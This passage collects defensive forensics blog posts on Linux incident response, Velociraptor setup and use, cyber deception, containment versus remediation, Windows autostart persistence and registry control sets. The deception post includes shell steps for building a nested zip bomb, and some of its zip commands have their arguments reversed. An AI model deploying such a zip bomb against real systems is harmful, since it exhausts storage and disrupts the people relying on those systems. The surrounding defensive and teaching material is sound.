investigations . This requires familiarity with Linux utilities like grep, awk, tcpdump, and others. 5. Credential Issues Linux systems are often configured with standalone credentials, meaning they don’t always integrate seamlessly with a company’s domain or credential management system. For incident responders, this presents a problem when gaining access to a system as a privileged user. In cases where domain credentials aren’t available, IR teams should establish privileged IR accounts  that use key-based or multi-factor authentication, ensuring that any usage is logged and monitored. Attacking Linux: Common Threats There’s a widespread myth that Linux systems are more secure than other operating systems or that they aren’t attacked as frequently. In reality, attackers target Linux systems just as much as Windows, and the nature of Linux creates unique attack vectors. 1. Insecure Applications Regardless of how well the operating system is hardened, a poorly configured or vulnerable application can open the door for attackers . One common threat on Linux systems is web shells , which attackers use to establish backdoors or maintain persistence after initial compromise. 2. Pre-Installed Languages Many Linux systems come pre-installed with powerful scripting languages like Python , Ruby , and Perl . While these languages provide flexibility for administrators, they also provide opportunities for attackers to leverage "living off the land" techniques. This means attackers can exploit built-in tools and languages to carry out attacks without needing to upload external malware. 3. System Tools Linux comes with many powerful utilities, like Netcat  and SSH , that can be misused by attackers during post-exploitation activities. These tools, while helpful to administrators, are often repurposed by attackers to move laterally, exfiltrate data, or maintain persistence on compromised systems Conclusion Linux is everywhere, from cloud platforms to enterprise firewalls, and incident responders must be prepared to investigate and mitigate incidents on these systems. While the challenges of Linux IR are significant—ranging from custom configurations to limited tooling—preparation, training, and the right tools can help defenders overcome these hurdles. Akash Patel.

Velociraptor is an incredibly powerful tool for endpoint visibility and digital forensics. In this guide, we’ll dive deep into the Velociraptor interface  to help you navigate the platform effectively. Let’s start by understanding the Search Bar , working through various sections like VFS (Virtual File System) , and explore advanced features such as Shell  for live interactive sessions. Navigation: 1. Search Bar: Finding Clients Efficiently The search bar is the quickest way to locate connected clients. You can search for clients by typing: All to see all connected endpoints label: to filter endpoints by label For example: If you have 10 endpoints and you label 5 of them as Windows and the other 5 as Linux, you can simply type label:Windows to display the Windows clients, or label:Linux to find the Linux ones. Labels are critical for grouping endpoints, making it easier to manage large environments. To create a label : Select the client you want to label. Click on Label  and assign a name to the client for easier identification later. 2. Client Status Indicators Next to each client, you’ll see a green light  if the client is active . This indicates that the endpoint is connected to the Velociraptor server and ready for interaction. Green light : Client is active. No light : Client is offline or disconnected. To view detailed information about any particular client, just click on the client’s ID . You’ll see specific details such as the IP address, system name, operating system, and more. 3. Navigating the Left Panel: Interrogate, VFS, Collected In the top-left corner, you’ll find three key filters: Interrogate : This function allows you to update client details (e.g., IP address or system name changes). Clicking Interrogate  will refresh the information on that endpoint. VFS (Virtual File System) : This is the forensic expert’s dream ! It allows you to explore the entire file system of an endpoint, giving you access to NTFS partitions , registries , C drives , D drives , and more. You can focus on collecting specific pieces of information instead of acquiring full disk images. Example: If you want to investigate installed software on an endpoint, you can navigate to the relevant registry path, and collect only that specific data, making the process faster and less resource-intensive. Collected : This filter shows all the data collected from the clients during previous hunts or investigations. 4. Exploring the VFS: A Forensic Goldmine When you click on VFS , you can explore the entire endpoint in great detail. For instance, you can: Navigate through directories  like C:\ or D:\. Refresh the directory, recursive refresh, 3rd one is downloading the entire directory from client into your server Access registry keys , installed software , and even get MACB timestamps for files (created, modified, accessed, birth timestamps). Example : Let’s say you find an unknown executable file. Velociraptor allows you to collect that file directly from the endpoint by clicking Collect from Client . Once collected, it will be downloaded to the server for further analysis (e.g., malware sandbox testing or manual review). Important Features: Folder Navigation : You can browse through directories and files with ease. File Download : You can download individual files like MFTs, Prefetch, or any other artifacts from the endpoint to your server for further analysis. Hash Verification : When you collect a file, Velociraptor automatically generates the file’s hash, which can be used to verify its integrity during analysis. We will talk about where u can find these download or collected artifacts at end 5. Client Performance Considerations Keep in mind that if you’re managing a large number of endpoints and you start downloading large files (e.g., 1GB or more) from multiple clients simultaneously, you could impact network performance. Be mindful of the size of artifacts you collect and prioritize gathering only critical data to avoid crashing the network or server. 6. Host Quarantine At the top near VFS, you’ll see the option to quarantine  a host . When a host is quarantined, it gets isolated from the network to prevent any further suspicious activity. However, this feature requires prior configuration on how you want to quarantine the host. 7. Top-Right Navigation: Overview, VQL Drilldown, and Shell At the top-right corner of the client page, you’ll find additional navigation options: Overview : Displays a general summary of the endpoint, including key details such as hostname, operating system, and general system health. VQL Drilldown : Provides a more detailed overview of the client, including memory and CPU usage, network connections, and other system metrics. This section is useful for more in-depth endpoint monitoring. Shell : Offers an interactive command-line interface where you can execute commands on the endpoint, much like using the Windows Command Prompt  or Linux Terminal . You can perform searches, check running processes, or even execute scripts. Example: If you’re investigating suspicious activity, you could use the shell to search for specific processes or services running on the endpoint Next Comes the Hunt Manager:- What is a Hunt? A Hunt  in Velociraptor is a logical collection of one or more artifacts from a set of systems. The Hunt Manager schedules these collections based on the criteria you define (such as labels or client groups), tracks the progress of these hunts, and stores the collected data. Example 1: Collecting Windows Event Logs In this scenario, let's collect Windows Event Logs for preservation from specific endpoints labeled as domain systems . Here's how to go about it: Labeling Clients: Labels make targeting specific groups of endpoints much easier. For instance, if you have labeled domain systems as "Domain", you can target only these systems in your hunt. For this example, I labeled one client as Domain  to ensure the hunt runs only on that particular system. Artifact Selection: In the Select Artifact  section of the Hunt Manager, I ’ll choose a KAPE script  from the artifacts, which is built into Velociraptor. This integration makes it simple to collect various system artifacts like Event Logs, MFTs, or Prefetch files. Configure the Hunt: On the next page, I will configure the hunt to target Windows Event Logs  from the KAPE Targets  artifact list. Resource Configuration: In the resource configuration step, you need to specify certain parameters such as CPU usage. Be cautious with your configuration, as this directly impacts the client's performance during the hunt. For instance, I set the CPU limit to 50%  to ensure the client is not overloaded while collecting data. Launch the Hunt: After finalizing the configuration, I launch the hunt. Note that once launched, the hunt initially enters a Paused  state. Run the Hunt: To begin data collection, you must select the hunt from the list and click Run . The hunt will execute on the targeted clients (based on the label). Stopping the Hunt: Once the hunt completes, you can stop it to avoid further resource usage. Reviewing Collected Data: After the hunt is finished, navigate to the designated directory in Velociraptor to find the collected event logs. You’ll have everything preserved for analysis. Example 2: Running a Hunt for Scheduled Tasks on All Windows Clients Let’s take another example where we want to gather data on Scheduled Tasks  across all Windows clients: Artifact Selection: In this case, I create a query targeting all Windows clients  and select the appropriate artifact for gathering scheduled task information. Configure the Query: Once the query is set, I configure the hunt, ensuring it targets all Windows clients  in my environment. Running the Hunt: Similar to the first example, I launch the hunt, which enters a paused state. I then select the hunt and run it across all Windows clients. Check the Results: Once the hunt finishes, you can navigate to the Notebook  section under the hunt. This shows all the output data generated during the hunt: Who ran the hunt Client IDs involved Search through the output directly from this interface or explore the directory for more details. The collected data is available in JSON format  under the designated directory, making it easy to analyze or integrate into further forensic workflows. Key Points to Remember CPU Limit : Be careful when configuring resource usage. The CPU limit you set will be used on the client machines, so ensure it's not set too high to avoid system slowdowns. Labeling : Using labels to organize clients (e.g., by OS, department, or role) will make it easier to manage hunts across large environments. This is especially useful in large-scale investigations. Directory Navigation : After the hunt is complete, navigate to the appropriate directories to find the collected artifacts. Hunt Scheduling : The Hunt Manager allows you to schedule hunts at specific times or run them on-demand , giving you flexibility in managing system resources. Viewing and Managing Artifacts Velociraptor comes pre-loaded with over 250 artifacts . You can view all available artifacts, customize them, or even create your own. Here’s how you can access and manage these artifacts: Accessing Artifacts: Click on the Wrench  icon in the Navigator menu along the left-hand side of the WebUI. This opens the list of artifacts available on Velociraptor. Artifacts are categorized by system components, forensic artifacts, memory analysis, and more. Use the Filter  field to search for specific artifacts. You can filter by name, description, or both. This helps narrow down relevant artifacts from the large list. Custom Artifacts: Velociraptor also allows you to write your own artifacts  or upload  customized ones. This flexibility enables you to adapt Velociraptor to the specific forensic and incident response needs of your organization. Server Events and Collected Artifacts Next, let's talk about Server Events . These represent activity logs from the Velociraptor server, where you can find details like: Audit Logs : Information about who initiated which hunts, including timestamps. Artifact Logs : Details about what was collected during each hunt or manual query, and which endpoint provided the data. Collected Artifacts  shows what data was gathered from an endpoint. Here’s what you can do: Selecting an Artifact : When you select a specific artifact, you’ll get information such as file uploads, request logs, results, and query outputs. This helps with post-collection analysis, allowing you to drill down into each artifact to understand what data was collected and how it was retrieved. Client Monitoring with Event Queries Ve lociraptor allows for real-time monitoring  of events happening on the client systems using client events  or client monitoring artifacts . These are incredibly useful when tracking system activity as it happens. Let’s walk through an example: Monitoring Example: Let’s create a monitoring query for Edge URLs , process creation , and service creation . Once the monitoring begins, Velociraptor keeps an eye on these specific events. Real-Time Alerts: As soon as a new process or service is created, an alert will be generated in the output. You’ll get a continuous stream of results showing URLs visited, services launched, and processes created in real-time. VQL (Velociraptor Query Language) Overview Velociraptor’s power lies in its VQL Engine , which allows for complex queries to be run across systems. It offers two main types of queries: 1. Collection Queries: Purpose : Snapshots of data at a specific point in time. Execution : These queries run once and return all results (e.g., querying for running processes). Example Use : Retrieving a list of running processes or collecting event logs at a specific moment. collecting prefetch, MFT, Usserassist. 2. Event Queries: Purpose : Continuous background monitoring. Execution : These queries continue running in a separate thread, adding rows of data as new events occur. Example Use : Monitoring DNS queries, process creation, or new services being installed (e.g., tracking Windows event ID 7045 for service creation). Use Cases for VQL Queries Collection Queries : Best used for forensic investigations requiring one-time data retrieval. For example, listing processes, file listings, or memory analysis. Event Queries : Ideal for real-time monitoring. This can include: DNS Query Monitor : Tracks DNS queries made by the client. Process Creation Monitor : Watches for any newly created processes. Service Creation Monitor : Monitors system event ID 7045 for newly installed services. Summary: Collection Queries : Snapshot-style queries; ideal for point-in-time data gathering. Event Queries : Continuous, real-time monitoring queries for live activity tracking. Offline Triage with Velociraptor One more exciting feature: Velociraptor supports offline triage , allowing you to collect artifacts even when a system is not actively connected to the server. This can be helpful for forensic collection when endpoints are temporarily offline. To learn more about offline triage, you can check the official Velociraptor documentation here: Offline Triage . At Last:- Exploring Directories on the Server Finally, let's take a quick look at the directory structure on the Velociraptor server. Each client in Velociraptor has a unique client ID . When you manually collect data or run hunts on an endpoint, the collected artifacts are stored in a folder associated with that client ID. Clients Folder : Inside the clients  directory, you’ll find subfolders named after each client ID. By diving into these folders, you can access the artifacts collected from each respective client. Manual vs Hunt Collection : Artifacts collected manually go under the Collections  folder. Artifacts collected via hunts are usually stored under the Artifact  folder. You can check this by running tests yourself. Conclusion Velociraptor is a flexible, powerful tool for endpoint monitoring, artifact collection, and real-time forensics. The VQL engine provides powerful querying capabilities, both for one-time collections and continuous event monitoring. Using hunts, custom artifacts, and real-time alerts, you can monitor and collect essential forensic data seamlessly. Before signing off, I highly recommend you install Velociraptor , try running some hunts, and explore the available features firsthand. Dive into both manual collections and hunt-driven collections, and test the offline triage  capability to see how versatile Velociraptor can be in real-world forensic investigations! Akash Patel

Velociraptor is a powerful tool for incident response and digital forensics, capable of collecting and analyzing data from multiple endpoints. In this guide, I’ll walk you through the setup of Velociraptor in a home lab environment using one main server (which will be my personal laptop) and three client machines: one Windows 10 system, one Windows Server, and an Ubuntu 22.04 version. Important Note:  This setup is intended for forensic analysis in a home lab, not for production environments. If you're deploying Velociraptor in production, you should enable additional security features like SSO and TLS as per the official documentation. Prerequisites for Setting Up Velociraptor Before we dive into the installation process, here are a few things to keep in mind: I’ll be using one laptop as the server (where I will run the GUI and collect data) and another laptop for the three clients. Different executables are required for Windows and Ubuntu , but you can use the same client.config.yaml file for configuration across these systems. Ensure that your server and client machines can ping each other. If not, you might need to create a rule in Windows Defender to allow ICMP (ping) traffic. In my case, I set up my laptop as the server and made sure all clients could ping me and vice versa. I highly recommend installing WSL (Windows Subsystem for Linux) , as it simplifies several steps in the process, such as signature verification. If you’re deploying in production, remember to go through the official documentation to enable SSO and TLS. Now, let's get started with the installation! Download and Verify Velociraptor First, download the latest release of Velociraptor from the GitHub Releases page . Make sure you also download the .sig file for signature verification . This step is crucial because it ensures the integrity of the executable and verifies that it’s from the official Velociraptor source. To verify the signature, follow these steps ( in WSL) : gpg --verify velociraptor-v0.72.4-windows-amd64.exe.sig gpg --search-keys 0572F28B4EF19A043F4CBBE0B22A7FB19CB6CFA1 Press 1 to import the signature. It’s important to do this to ensure that the file you’re downloading is legitimate and hasn’t been tampered with. Step-by-Step Velociraptor Installation Step 1: Generate Configuration Files Once you've verified the executable, proceed with generating the configuration files. In the Windows command prompt, execute: velociraptor-v0.72.4-windows-amd64.exe -h To generate the configuration files, use: velociraptor-v0.72.4-windows-amd64.exe config generate -i This will prompt you to specify several details, including the datastore directory, SSL options, and frontend settings. Here’s what I used for my server setup: Datastore directory: E:\Velociraptor SSL: Self-Signed SSL Frontend DNS name: localhost Frontend port: 8000 GUI port: 8889 WebSocket comms: Yes Registry writeback files: Yes DynDNS : None GUI User: admin (enter password) Path of log directory : E:\Velociraptor\Logs (Make sure log directory is there if not create one) Velociraptor will then generate two files: server.config.yaml (for the server) client.config.yaml (for the clients) Step 2: Configure the Server After generating the configuration files, you’ll need to start the server. In the command prompt, run: velociraptor-v0.72.4-windows-amd64.exe --config server.config.yaml gui This command will open the Velociraptor GUI in your default browser. If it doesn’t open automatically, navigate to https://127.0.0.1:8889/ manually. Enter your admin credentials (username and password) to log in. Important:  Keep the command prompt open while the GUI is running. If you close the command prompt, Velociraptor will stop working, and you’ll need to restart the service. Step 3: Run Velociraptor as a Service T o avoid manually starting Velociraptor every time, I recommend running it as a service. This way, even if you close the command prompt, Velociraptor will continue running in the background. To install Velociraptor as a service, use the following command: velociraptor-v0.72.4-windows-amd64.exe --config server.config.yaml service install You can then go to the Windows Services app and ensure that the Velociraptor service is set to start automatically. Step 4: Set Up Client Configuration Now that the server is running, we’ll configure the clients to connect to the server. Before that you’ll need to modify the client.config.yaml file to include the server’s IP address so the clients can connect Note: As for me I am running Server in local host. I will not change the IP in configuration file but if you running server on any other do change it. Setting Up Velociraptor Client on Windows For Windows, you can use the same Velociraptor executable that you used for the server setup. The key difference is that instead of using the server.config.yaml, you’ll need to use the client.config.yaml file generated during the server configuration process . Step 1: Running the Velociraptor Client Use the following command to run Velociraptor as a client on Windows: velociraptor-v0.72.4-windows-amd64.exe --config client.config.yaml client -v This will configure Velociraptor to act as a client and start sending forensic data to the server. Step 2: Running Velociraptor as a Service If you want to make the client persistent (so that Velociraptor automatically runs on startup), you can install it as a service. The command to do this is: velociraptor-v0.72.4-windows-amd64.exe --config client.config.yaml service install By running this, Velociraptor will be set up as a Windows service. Although this step is optional, it can be helpful for p ersistence in environments where continuous monitoring is required. Setting Up Velociraptor Client on Ubuntu For Ubuntu , the process is slightly different since the Velociraptor executable for Linux needs to be downloaded and permissions adjusted before it can be run. Follow these steps for the setup: Step 1: Download the Linux Version of Velociraptor Head over to the Velociraptor GitHub releases page  and download the appropriate AMD64 version for Linux. Step 2: Make the Velociraptor Executable Once downloaded, you need to make sure the file has execution permissions. Check if it does using: ls -lha If it doesn’t, modify the permissions with: sudo chmod +x velociraptor-v0.72.4-linux-amd64 Step 3: Running the Velociraptor Client Now that the file is executable, run Velociraptor as a client using the command below (with the correct config file): sudo ./velociraptor-v0.72.4-linux-amd64 --config client.config.yaml client -v Common Error Fix: Directory Creation You may encounter an error when running Velociraptor because certain directories needed for the writeback functionality may not exist . Don’t worry—this is an easy fix. The error message will specify which directories are missing. For example, i n my case, the error indicated that writeback permission was missing. I resolved this by creating the required file and directory: sudo touch /etc/velociraptor.writeback.yaml sudo chown : /etc/velociraptor.writeback.yaml After creating the necessary directories or files, run the Velociraptor client command again, and it should configure successfully. Step 4: Running Velociraptor as a Service on Ubuntu Like in Windows, you can also make Velociraptor persistent on Ubuntu by running it as a service. Follow these steps: 1. Create a Service File sudo nano /etc/systemd/system/velociraptor.service 2. Add the Following Content [Unit] Description=Velociraptor Client Service After=network.target [Service] ExecStart=/path/to/velociraptor-v0.72.4-linux-amd64 --config /path/to/your/client.config.yaml client Restart=always User= [Install] WantedBy=multi-user.target Make sure to replace  and the paths with your actual user and file locations. 3. Reload Systemd sudo systemctl daemon-reload 4. Enable and Start the Service sudo systemctl enable velociraptor sudo systemctl start velociraptor Step 5: Verify the Service Status You can verify that the service is running correctly with the following command: sudo systemctl status velociraptor Conclusion T hat's it! You’ve successfully configured Velociraptor clients on both Windows  and Ubuntu  systems . Whether you decide to run Velociraptor manually or set it up as a service, you now have the flexibility to collect forensic data from your client machines and analyze it through the Velociraptor server. In the next section, we'll explore the Velociraptor GUI interface , diving into how you can manage clients, run hunts, and collect forensic data from the comfort of the web interface. Akash Patel

In the world of cybersecurity and incident response, having a versatile, powerful tool can make all the difference. Velociraptor is one such tool that stands out for its unique capabilities, making it an essential part of any forensic investigator or incident responder’s toolkit . Whether you're conducting a quick compromise assessment, performing a full-scale threat hunt across thousands of endpoints, or managing continuous monitoring of a network, Velociraptor can handle it all. Let’s break down what makes Velociraptor such an exceptional tool in the cybersecurity landscape. What Is Velociraptor? Velociraptor is an open-source tool designed for endpoint visibility, monitoring, and collection. It helps incident responders and forensic investigators query and analyze systems for signs of intrusion, malicious activity, or policy violations. A core feature of Velociraptor is its IR-specific query language called VQL (Velociraptor Query Language) , which simplifies data gathering and analysis across a variety of operating systems. But this tool isn’t just for large-scale environments—it can be deployed in multiple scenarios, from ongoing threat monitoring to one-time investigative sweeps or triage on a single machine. Key Features of Velociraptor Velociraptor offers a wide range of functionalities, making it flexible for different cybersecurity operations: VQL Query Language VQL enables analysts to write complex queries to retrieve specific data from endpoints. Whether you're analyzing Windows Event Logs or hunting for Indicators of Compromise (IOCs) across thousands of endpoints, VQL abstracts much of the complexity, letting you focus on the data that matters. Endpoint Hunting and IOC Querying Velociraptor shines when it comes to threat hunting across large environments. It can query thousands of endpoints at once to find evidence of intrusion, suspicious behavior, or malware presence. Continuous Monitoring and Response With Velociraptor, you can set up continuous monitoring  of specific system events like process creation or failed logins. This allows security teams to keep an eye on unusual or malicious activity in real-time and react swiftly. Two Query Types: Collection and Event Queries Velociraptor uses two types of VQL queries: Collection Queries : Execute once and return results based on the current state of the system. Event Queries : Continuously query and stream results as new events occur, making them ideal for monitoring system behavior over time. Examples include: Monitoring Windows event logs , such as failed logins (EID 4625) or process creation events (Sysmon EID 1). Tracking DNS queries  by endpoints. Watching for the creation of new services or executables and automating actions like acquiring the associated service executable. Third-Party Integration For additional collection and analysis, Velociraptor can integrate with third-party tools, extending its utility in more specialized scenarios. Cross-Platform Support Velociraptor runs on Windows, Linux, and Mac , making it a robust tool for diverse enterprise environments. Practical Deployment Scenarios Velociraptor’s flexibility comes from its ability to serve in multiple deployment models: 1. Full Detection and Response Tool Velociraptor can be deployed as a permanent feature of your cybersecurity arsenal, continuously monitoring and responding to threats. This makes it ideal for SOC (Security Operations Center) teams looking for an open-source, scalable solution. 2. Point-in-Time Threat Hunting Need a quick sweep of your environment during an investigation? Velociraptor can be used as a temporary solution, pushed to endpoints to scan for a specific set of indicators or suspicious activities. Once the task is complete, the agent can be removed without leaving any lasting footprint. 3. Standalone Triage Mode When you’re dealing with isolated endpoints that may not be network-accessible, Velociraptor’s standalone mode  allows you to generate a package with pre-configured tasks . These can be manually run on a system, making it ideal for on-the-fly triage or offline forensic analysis. The Architecture of Velociraptor Understanding Velociraptor’s architecture will give you a better sense of how it fits into various operational workflows. Single Executable Velociraptor’s functionality is packed into a single executable, making deployment a breeze. Whether it’s acting as a server or a client, you only need this one file along with a configuration file. Server and Client Model Server : Velociraptor operates with a web-based user interface , allowing analysts to check deployment health, initiate hunts, and analyze results . It can also be managed via the command line or external APIs. Client : Clients securely connect to the server using TLS and can perform real-time data collection based on predefined or on-demand queries. Data Storage Unlike many tools that rely on traditional databases, Velociraptor uses the file system  to store data . This simplifies upgrades and makes integration with platforms like Elasticsearch easier. Scalability A single Velociraptor server can handle around 10,000 clients, with reports indicating that it can scale up to 20,000 clients by leveraging multi-frontend deployment or reverse proxies for better load balancing. Why Choose Velociraptor? Simple Setup : Its lightweight architecture means that setup is straightforward , with no need for complex infrastructure. Flexibility : From long-term deployments to one-time triage , Velociraptor fits a wide range of use cases. Scalable and Secure : It can scale across large enterprise environments and maintains secure communications through TLS encryption. Cross-Platform : Works seamlessly across all major operating systems. Real-World Applications Velociraptor's capabilities make it a great choice for cybersecurity teams looking to enhance their detection and response efforts. Whether it’s tracking down intrusions  in a corporate environment, hunting for malware  across multiple machines, or gathering forensic evidence  from isolated endpoints, Velociraptor delivers high performance without overwhelming your resources. You can download Velociraptor  from the official repository here: Download Velociraptor For more information, visit the official website: Velociraptor Official Website Conclusion Velociraptor is a must-have tool for forensic investigators, threat hunters, and incident responders. With its flexibility, powerful query language, and broad platform support, it’s designed to make the difficult task of endpoint visibility and response as straightforward as possible. Whether you need it for long-term monitoring or a quick triage, Velociraptor is ready to be deployed in whatever way best fits your needs. Stay secure, stay vigilant! Akash Patel

In the ever-evolving landscape of cybersecurity, defenders need to stay a step ahead of attackers. One of the most effective ways to do this is through cyber deception—deliberately misleading attackers, feeding them false information, and setting traps that expose their methods and intentions. This approach not only disrupts the attacker's activities but also provides valuable intelligence that can strengthen overall security. Understanding Cyber Deception Cyber deception involves creating an environment where attackers are led to believe they are successfully advancing their attack, while in reality, they are being closely monitored and manipulated. This strategy can include everything from planting false information to deploying decoy systems designed to attract and contain attackers. A prime example of this was when an organization identified an attacker’s entry point and anticipated their lateral movement across the network. By understanding the attacker's scanning behavior, the defenders preemptively identified vulnerable systems that the attacker would likely target next. These systems were then cordoned off, and decoy machines were placed in their path. These decoys were equipped with various security tools to monitor the attacker’s actions, allowing the defenders to gather intelligence while keeping the attacker contained. Techniques for Cyber Deception Bit Flipping Description:  Bit flipping is a technique where defenders intentionally alter bits in files staged for exfiltration by attackers. This subtle modification can render the entire file unusable, frustrating the attacker’s efforts. Application:  Bit flipping can be performed on endpoints or during the transit of data. It’s particularly useful when attackers compress files before exfiltration, as even a small change can corrupt the entire archive. Zip Bombs Description:  Zip bombs are small, seemingly harmless zip files that, when unpacked, expand to an enormous size—potentially in the terabyte or even exabyte range. These files can overwhelm storage systems and are often not allowed on cloud platforms due to their potential impact. Application:  Creating a zip bomb is straightforward. By nesting compressed files within each other, a small initial file can grow exponentially in size when decompressed. This technique can be used to disrupt attackers who attempt to unpack files on compromised systems or cloud storage platforms. Creating a Nested Zip Bomb: Step 1:  Create a large file filled with zeros. Step 2:  Compress the file into a zip archive. Step 3:  Duplicate the zip file multiple times. Step 4:  Compress the duplicated zip files into a new zip archive. Step 5:  Repeat the process multiple times to create a highly compressed file with an enormous unpacked size. Step1 :dd if=/dev/zero bs=1M count=1024 of=target.raw Step2 :zip -r target.raw target.zip && rm target.raw Step3 :for i in $(seq 1 9); do cp  target.zip target$i.zip; done Step4 :zip -r target* new.zip && rm target.* Step5 :mv  new.zip target.zip # Repeat the process from step 3 Fake Emails Description:  When attackers gain access to a victim’s email account, defenders can exploit this by sending fake emails designed to mislead the attackers . These emails can contain false information that lures attackers into traps or reveals their intentions. Application:  Fake emails can be used to stage situations that prompt the attacker to take specific actions, such as installing additional backdoors or revealing other compromised accounts. This technique allows defenders to monitor and gather intelligence on the attacker’s behavior. Canary/Honey Tokens Description:  Canary or honey tokens are files, folders, or URLs that trigger an alert when accessed. These tokens act as tripwires that notify defenders of unauthorized access, helping to identify intrusions early. Application:  By placing these tokens in strategic locations, such as sensitive file directories or network shares, defenders can catch attackers as they attempt to explore or exfiltrate data. Honeypots Description:  Honeypots are decoy systems that mimic real machines or services to attract attackers. When attackers interact with these honeypots, they trigger alerts, allowing defenders to observe their tactics and gather intelligence. Application:  Honeypots can be configured to simulate various services, such as web servers, databases, or even entire operating systems. They are placed in the network to divert attackers away from critical systems and into a controlled environment where their actions can be monitored. Conclusion: The Strategic Advantage of Cyber Deception Cyber deception is more than just a defensive tactic; it is a proactive strategy that turns the tables on attackers. By misleading and manipulating attackers, defenders can gather critical intelligence, disrupt attack operations, and ultimately strengthen the security posture of their organization. Akash Patel

In the world of cybersecurity, the terms "containment" and "remediation" are often used interchangeably. However, they serve distinct and crucial roles in the incident response lifecycle. Understanding the difference between these two phases can mean the difference between a successful defense and a prolonged cyberattack . Containment: A Strategic Pause to Gather Intelligence Containment is the phase where the goal is not to kick the attacker out of the network immediately but to limit their ability to cause further harm while gathering as much intelligence as possible. This phase requires a delicate balance—acting too quickly can tip off the attacker, causing them to change tactics or escalate their attack. The key to effective containment is making subtle adjustments to the network that limit the attacker's movement without making them aware of the defensive actions. For example: Slowing down network connections : This can frustrate attackers and make them reveal more about their methods and tools. Cordoning off network segments : Isolating parts of the network that have not yet been touched by the attacker can prevent further spread. Deactivating certain accounts : Staging legitimate reasons for deactivation , such as planned maintenance or user absences, can limit the attacker's access without alerting them. Example An organization detected that an attacker was reading specific email accounts. Rather than immediately shutting down the attacker's access, the security team used this to their advantage. They staged email communications suggesting a planned shutdown of a compromised server, giving a plausible reason to replace the server and remove the attacker's foothold without raising suspicion. Remediation: The Final Push to Eradicate the Threat Remediation, on the other hand, is the phase where the objective is to remove the attacker's presence from the network entirely. This is often a complex and meticulously planned operation, usually carried out over a short, concentrated period, such as a weekend, to minimize disruption to the organization. Unlike containment, which is about gathering intelligence, remediation is about action—making sure that every trace of the attacker's presence is eliminated. This could involve: Rebuilding compromised systems : In larger networks, this often requires the coordination of external vendors and service providers. Changing all credentials : To ensure that any compromised accounts cannot be used for re-entry. Deploying new security measures : Strengthening the network's defenses to prevent future attacks. A well-planned remediation process is vital because if any attacker foothold remains, they can return with more force and altered tactics, rendering previously gathered intelligence useless. Example: An organization locked out a domain admin account without fully understanding the extent of the attack. The attacker, who had access to multiple admin accounts, reacted by locking out all privileged accounts, leaving the organization scrambling to regain control. This scenario underscores the importance of thorough planning and understanding before initiating remediation. The Interplay Between Containment and Remediation While containment and remediation are different phases, they are deeply interconnected. Successful containment provides the intelligenc e needed to plan effective remediation. Conversely, rushing into remediation without proper containment can backfire, as the attacker might alter their tactics or escalate their attack, making the remediation process more difficult and less effective. In some cases, containment strategies can even provoke the attacker into revealing more about their methods. For instance, in a scenario involving an ex-employee who had added a rogue domain admin account, the security team staged emails suggesting an upcoming password reset. This prompted the attacker to install additional remote-control software, providing the organization with valuable evidence for law enforcement. Conclusion: Striking the Right Balance The real difference between containment and remediation lies in their objectives and timing. Containment is about intelligence gathering and limiting the attacker's impact without alerting them to defensive actions, while remediation is about removing the attacker from the network permanently. Both phases require careful planning and execution, and understanding their differences is key to an effective incident response strategy. Akash Patel

Introduction Everyone knows about common autostart locations like  Run ,  RunOnce , scheduled tasks, and services . But did you know there are more than 50 locations in Windows where autostart persistence can be achieved? Today, we’re going to dive into this topic. I won’t cover all the locations here to keep this article concise, but I’ll show you how to collect and analyze these locations using screenshots and commands. Autostart Extensible Points (ASEPs) Autostart Extensible Points (ASEPs) are locations in the Windows registry where configurations can be set to autostart programs either at boot or logon. Profiling these persistence mechanisms is crucial for identifying potential malware or unauthorized software. Using RECmd to Detect Persistence RECmd, a command-line tool by Eric Zimmerman, can be used to automate the detection of persistence mechanisms using batch files. The  RegistryASEPs.reb  batch file is specifically designed for this purpose. Method 1: Running RECmd on Collected Hives Collect All Hives : Gather all relevant registry hives (e.g.,  NTUSER.DAT ,  USERASSIST ,  SYSTEM ,  SAM ) into one folder. Run RECmd : Use the following command to run RECmd on the collected hives: recmd.exe --bn BatchExamples\RegistryASEPs.reb -d C:\Path\To\Hives --csv C:\Users\akash\Desktop --csvf recmd.csv Or easy method: Method 2: Using KAPE Run KAPE : Use KAPE to directly target and parse registry hives for ASEPs. Command: kape.exe --tsource C: --tdest C:\Users\Akash\Desktop\tout --target RegistryHives --mdest C:\Users\akash\Desktop\mout --module RECmd_RegistryASEPs In tout will be original artifact and in mout parsed artifact. Output: I will use timeline explorer to Analysis the parsed output: Example for Analysis After running the commands, you can use Timeline Explorer to search for temporary files. This will help you find all the files that ran through the temp folder, providing insights into potential persistence mechanisms. Conclusion Understanding and detecting ASEPs is crucial for maintaining the security of your Windows systems. By using tools like RECmd and KAPE, you can automate the detection process and gain valuable insights into potential persistence mechanisms. Akash Patel

Have you ever wondered what ControlSet001, ControlSet002, and CurrentControlSet are in your Windows registry? These terms might sound technical, but they're crucial for the way your computer starts up and runs. L What are Control Sets in Windows? Q: What exactly are Control Sets in the Windows registry? A:  Control sets are essentially snapshots of your system’s configuration settings. They’re stored in the registry and used by Windows to manage the boot process and system recovery. You can find them under HKEY_LOCAL_MACHINE\SYSTEM. What are ControlSet001 and ControlSet002? Q: What are ControlSet001 and ControlSet002 used for? A:  ControlSet001 and ControlSet002 are examples of these snapshots: ControlSet001  is often the Last Known Good (LKG) configuration, which is a fallback if your system fails to boot properly. ControlSet002  might be an older configuration or another backup that can be used for troubleshooting. What is CurrentControlSet? Q: What does CurrentControlSet do? A:  CurrentControlSet is a dynamic pointer to the control set that Windows is currently using. This means it maps to one of the actual control sets, like ControlSet001 or ControlSet002, and uses it during runtime for all operations. How Does Windows Use These Control Sets? Q: How does Windows decide which control set to use during boot? A:  During the boot process, Windows chooses a control set based on the success of the last boot and other criteria. This decision is guided by values stored in HKEY_LOCAL_MACHINE\SYSTEM\Select. The chosen control set becomes the CurrentControlSet for that session. Q: How can I check which control set is currently in use? A:  To find out which control set is in use: Open the Registry Editor (regedit.exe). Navigate to HKEY_LOCAL_MACHINE\SYSTEM\Select. Look at the value of Current. If it shows 1, then CurrentControlSet points to ControlSet001. Why Should I Care About Control Sets? Q: Why is it important to understand control sets? A:  Knowing about control sets is useful for troubleshooting. If your system can’t boot, Windows might use the Last Known Good configuration, often stored in ControlSet001, to recover. Understanding how to navigate and modify these settings can help in advanced troubleshooting and system recovery. Q: Can I manually switch control sets? A:  Yes, advanced users can manually switch control sets by editing the registry or using advanced boot options. However, this should be done with caution, as incorrect changes can affect system stability. Conclusion Control sets like ControlSet001, ControlSet002, and CurrentControlSet are vital for your system's startup and recovery processes. They provide a way for Windows to manage configurations and ensure you can recover from boot failures. By understanding these components, you can better troubleshoot issues and maintain your system’s health. Akash 